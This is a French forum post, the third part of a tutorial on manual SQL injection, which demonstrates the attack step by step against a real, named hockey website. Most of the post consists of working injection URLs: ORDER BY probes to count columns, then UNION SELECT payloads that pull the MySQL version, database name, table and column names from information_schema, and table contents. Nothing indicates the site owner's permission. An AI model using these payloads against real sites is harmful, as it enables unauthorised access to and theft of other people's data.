[SQL] Effectuer une injection manuelle - Partie 3

XTRAK

  1. Ce site utilise des cookies. En continuant à utiliser ce site, vous acceptez l'utilisation des cookies. En savoir plus.
  1. XTRAK

    XTRAK Ancien Staff

    Messages:
    183
    J'aime reçus:
    127
    Points:
    2 723
    Yop !

    Bon si vous avez suivi mes 2 tutos précedents vous connaissez les bases de la SQL et comment reconnaitre qu'un site est faillible et le type de requete qu'il utilise.
    Mais bon, ne nous voilons pas les yeux, l'injection reste la meilleure partie

    Tout d'abord prenons un site faillible SQL :

    http://www.nhlegendsofhockey.com/news.php?id=65
    Donc si nous rajoutons une guillement :
    http://www.nhlegendsofhockey.com/news.php?id=65'
    Nous obtenons le commun
    Bon commençons !

    I - La phase d'équilibre.

    Nous savons que le requete utilisée est la INTIGER BASED ( voir partie 2 ) donc nous allons devoir trouver comment équilibrer l'url avant de pouvoir injecter.
    Voici le symbole d'équilibre correspondant à chacune des requetes :
    INTIGER BASED : Rien
    SINGLE QUOTE BASED : '
    DOUBLE QUOTE BASED : "
    INTIGER BASED BRACKET ENCLOSED : )
    BRACKET ENCLOSED SINGLE QUOTE BASED : ')
    BRACKET ENCLOSED DOUBLE QUOTE BASED : ")

    Ce symbole se placera juste apres le paramètre faillible.
    http://www.nhlegendsofhockey.com/news.php?id=65--
    Vous remarquerez que aucun symbole n'a été utilisé sachant que la requete utilisé est la INTIGER BASED
    De plus, il faudra toujours rajouter les 2 -- qui auront un role de mise en commentaire.

    II - La phase d'injection :

    Notre injection se placera entre le symbole d'équilibre et la partie commentaire ( -- )
    Voici un schéma de la situation :

    bHay7J6ZLJQzsV64tX4wY7VsFVUVLyM-.png

    A)- Trouver le nombre de colonnes ( columns )

    Nous allons ( oui comme dans la photo juste au dessus ) utiliser 'Order By' pour trouver le nombre de colonnes

    http://www.nhlegendsofhockey.com/news.php?id=65 order by 5--
    Si la page s'affiche normalement alors il faut augmenter le nombre

    http://www.nhlegendsofhockey.com/news.php?id=65 order by 15--
    Bon il y a moins de 15 colonnes. Nous devons donc baisser le nombre

    http://www.nhlegendsofhockey.com/news.php?id=65 order by 10--
    La page s'affiche normalement on augmente donc le nombre

    http://www.nhlegendsofhockey.com/news.php?id=65 order by 11--
    Ca ne marche pas pour 11 mais ca marchait pour 10

    Bingo il y a donc 10 colonnes !

    B)- UNION SELECT

    Maintenant nous savons qu'il y'a 10 colonnes et nous pouvons donc utiliser 'UNION SELECT'

    Notre nouvelle URL :
    http://www.nhlegendsofhockey.com/news.php?id=-65 union select 1,2,3,4,5,6,7,8,9,10--
    N'oubliez pas le tiret entre le = et la variable ( ici 65 )

    Le contenu de la page change et nous voyons apparaitre plusieurs nombres a la place du contenu :
    bHay7J6ZLJQzsV64tX4wY7VsFVUVLyM-.png

    Ainsi la colonne 4 & la 7 sont "vulnérables". Essayons de trouver la version MySQL utilisée :
    http://www.nhlegendsofhockey.com/news.php?id=-65 union select 1,2,3,@@version,5,6,database(),8,9,10--

    Bingo les informations voulues apparaissent à l'écran ! :D
    bHay7J6ZLJQzsV64tX4wY7VsFVUVLyM-.png

    Voici la liste des commandes supplémentaires que vous pouvez utiliser
    http://prntscr.com/7qn070

    C)- Récuperer le nom des tables contenus dans la BDD

    Nous voici donc avec cette URL :
    http://www.nhlegendsofhockey.com/news.php?id=-65 union select 1,2,3,4,5,6,7,8,9,10--
    Et les colonnes 4 et 7 sont "vulnérables"

    Nous allons utiliser la colonne 4 pour trouver le nom des tables :
    http://www.nhlegendsofhockey.com/news.php?id=-65 union select 1,2,3,group_concat(table_name),5,6,7,8,9,10 from information_schema.tables where table_schema=database()--

    Vous remarquerez table_name a la place de la colonne 4 et ajoutez from information_schema.tables where table_schema=database() à la fin de l'injection
    bHay7J6ZLJQzsV64tX4wY7VsFVUVLyM-.png

    Il n'y a donc qu'une seule colonne nommée "arenaevents" :)
    D)- Récuperer le nom des colonnes de la table

    http://www.nhlegendsofhockey.com/news.php?id=-65 union select 1,2,3,group_concat(column_name),5,6,7,8,9,10 from information_schema.columns where table_schema=database() and table_name='arenaevents'--

    Vous remarquerez column_name a la place de la colonne 4 et from information_schema.columns where table_schema=database() and table_name='nom de la table'-- à la fin de l'injection

    bHay7J6ZLJQzsV64tX4wY7VsFVUVLyM-.png

    Ici la table 'arenaevents' contient seulement une collone 'id'

    E)- Récuperer le contenu de la colonne

    http://www.nhlegendsofhockey.com/news.php?id=-65 union select 1,2,3,group_concat(id),5,6,7,8,9,10 from arenaevents--

    Vous remarquerez group_concat(colonne1,coloone2,etc..) a la place de la colonne 4 et from nom de la table-- à la fin de l'injection

    bHay7J6ZLJQzsV64tX4wY7VsFVUVLyM-.png
    Voila nous récupérons les données contenus dans la table id

    Oui je vous l'accorde les données sont très maigres vu que la table
    Voila si vous etes arrivés jusqu'ici alors vous savez désormais comment faire une injection manuelle​
     
    Dernière édition par un modérateur: 11 Mars 2017
    ●●●Outils